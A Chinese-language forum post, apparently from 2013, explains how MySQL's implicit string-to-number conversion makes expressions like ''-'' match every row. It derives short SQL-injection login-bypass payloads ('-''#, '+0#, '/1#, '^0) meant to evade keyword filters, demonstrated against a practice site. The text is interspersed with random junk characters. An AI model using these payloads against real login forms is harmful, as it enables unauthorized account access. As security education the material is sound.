找回密码
 立即注册
查看: 2486|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。3 T3 R; }& n( U' {" d5 V& Y2 b* P
有以下表结构:
: u1 V; o! b  v) x' @" b/ `+ n3 E# l3 K3 i3 H, T
mysql> desc admin;; U# |  i+ G8 J8 n; S% M; b
+----------+--------------+------+-----+---------+----------------+- |; m( q8 h( M7 `3 i& J  n0 G
| Field    | Type         | Null | Key | Default | Extra          |2 M% I, \1 Z1 `4 q& O$ U% D
+----------+--------------+------+-----+---------+----------------+! L5 \+ p9 |8 q, I) c% g. n
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
9 Q8 a4 Z9 w* M4 Z% n: c) \| name     | char(32)     | NO   | UNI | NULL    |                |* P. w) A9 y7 k( q
| password | char(32)     | NO   | UNI | NULL    |                |
: v+ u( _% c, c# D& M0 S# c$ p* k, o+----------+--------------+------+-----+---------+----------------+
; M" }- A* |. T# J  f1 M3 rows in set (0.00 sec)
" H& e! B9 [* e3 p. c6 w* n% q执行select * from admin;,成功返回所有记录内容。
' r* W+ a( ^6 M. l7 a$ b8 R7 {1 D8 l
7 Z" C6 }4 [: f! s
+----+--------+----------------------------------+) ~. }4 Q) P+ k3 W4 l; P  F
| id | name   | password                         |
( Z$ x3 Y# n5 [# J+ F: ?4 q) G+----+--------+----------------------------------+) c1 m$ _6 X/ y) L4 p. Y
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
$ {1 M$ |: `; V|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |$ \( K5 `7 R9 e5 r6 D4 L6 Y
|  4 | n00b   | ff80e8508d39047460921792273533a4 |  R# c2 z8 L. k* N
+----+--------+----------------------------------+
; j; P5 I& o# s1 M4 Z% U3 rows in set (0.00 sec): N- I4 V! L. i( \5 k' ~
执行select * from admin where name=”;,没有匹配到任何记录。
  c) c5 k) w" Z+ u( o
  Z4 x/ _, [- L2 U/ Z% @# w: Wmysql> select * from admin where name = '';7 l7 p0 p) o5 i' O# L- _1 k
Empty set (0.00 sec)
! z$ t3 D: O: G9 T2 t+ N那么我们来执行select * from admin where name = ”-”;
% Z0 y7 J/ D" t3 U$ Q. I" F
# U; z' |9 t/ T0 x6 |9 s' @4 ~) b6 [) I# \5 R
+----+--------+----------------------------------+' b7 M8 c6 K1 I( z$ j/ p' ^
| id | name   | password                         |' a- g% Y5 W5 V8 B) z; B. v
+----+--------+----------------------------------+$ E1 w& i+ b: J4 a. M
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |/ V9 z3 [# w0 I7 F
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |# s% c9 H! Q( k; _: G9 Q
|  4 | n00b   | ff80e8508d39047460921792273533a4 |  N$ {2 e. @- H$ h7 v  @! A
+----+--------+----------------------------------+
) j- m3 u1 [0 H3 rows in set, 3 warnings (0.00 sec)
, ~6 \% d5 R1 q% p可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
  A" v# |" _$ ?6 w: }0 s3 e5 R& ], f  l- ]) Q' x; x+ E
mysql> show warnings;
+ E0 v3 Z, z# P4 b  @2 G, @4 n1 Z+---------+------+------------------------------------------, s0 \2 z6 z4 o0 O1 X
| Level   | Code | Message. K7 I$ j* R4 Z4 H6 {" J
+---------+------+------------------------------------------! o: |+ P/ T/ y6 x- ]
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin1 k9 z$ N: J+ o" N2 D7 W
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
/ q! f; O4 O5 P. v5 X8 s( _+ X* Y| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b8 Z. O' ^/ V6 ?- V1 s+ H
+---------+------+------------------------------------------
2 a9 m8 K$ P( |4 a3 }3 rows in set (0.00 sec); p( c1 [$ d, \; \
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
/ S6 Y+ ~: G; k) E7 J
- S8 r; w& \& u  c6 K+ t! c4 wmysql> select ''-'';
/ ^5 ^# H; J( _! a/ ~# f6 ^" m+-------+9 {# |4 S( j5 P: M1 q% S" C) ]
| ''-'' |5 Q+ b3 f% Y4 A& p/ H) z+ z
+-------+
: K' J. K# f; M7 d: ||     0 |
( D/ F8 r8 I1 s- u: }: c+-------+
: Y3 e  z+ X, ~3 s: _" q1 row in set (0.00 sec)
7 L# P5 u) h' t2 H2 E( y- q- W返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: & [# q$ }! H/ X3 n$ D& X  L5 D
3 d4 I9 E7 q+ P0 |$ _
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);( L- |" ]3 L/ F' \8 d0 F
+-----------------------------------------------------+
. g2 p+ @; G8 l% F0 K8 D( C  R| CAST((select name from admin limit 1,1) as DECIMAL) |
  h& x3 }7 ~' L' h+-----------------------------------------------------+
2 y4 c  U% K% l+ d# I% O8 \|                                                   0 |+ w+ {+ l" y  h! v7 G- l
+-----------------------------------------------------+0 j  D# U: ?  Y! \' }; k) t
1 row in set, 1 warning (0.00 sec)
: B2 N. A; U) F2 E; r! |因此where语句构成了相等的条件,where 0=”=”,记录被返回。
) M0 u/ E2 G3 ^3 n6 P" v$ P# O% u& c$ O9 l/ D
SQL注入场景: http://www.sqlzoo.net/hack/ 4 ?/ w% o. s- o* ?& R1 _9 I. V

2 ~  s7 f/ v/ i; ^2 ]' d0 J7 K0 j
) U- o9 ^  z, j4 V- t4 v/ u' _/ R
9 f! Q7 \, c% X% V, @0 O
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。   m7 B7 ?" g: z+ P
* ^8 R* r9 P$ }. y
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ; P' d( u( h6 A. p; o3 {3 c
. ]0 v8 K3 r! A" Q" B; F

( W# @/ J4 P5 m1 V9 G. T7 T3 l( m# p- x  r

6 R$ e/ r' I: `5 n, E9 `仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 1 p$ {( H% s! e/ }
" W3 n9 t6 z1 |' A% ^5 M% ]1 d7 p0 @
   + F: W% G5 n0 Y, U8 B: C# h$ `

- x! l$ ]1 \: g: l) {& u) E除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可( S5 z7 @% i# Z) \6 ^

8 P' U! g1 \7 G! Z7 e
/ j9 x4 k* P% y% t5 [mysql> select ''/1;
0 b) I6 l. A( o# t; S+------+5 c( @: O% q3 `1 q8 w
| ''/1 |
+ E* e, T( _, e( _8 r/ O: u; Q) i$ _+ t4 W+------+
2 X1 C$ m" n0 k# b5 D|    0 |- }; u" Y0 \3 C3 D0 X- {
+------+
9 G4 {8 V' z# A0 ?" e' u& q% [1 row in set (0.00 sec): h, W* {8 ]' l* i$ q& f
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  2 V) m; j6 k# D2 x

8 {% @- ^1 a4 b7 C5 V1 {. x. i3 K利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。8 Z; W* `6 ]9 H& h: z' F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表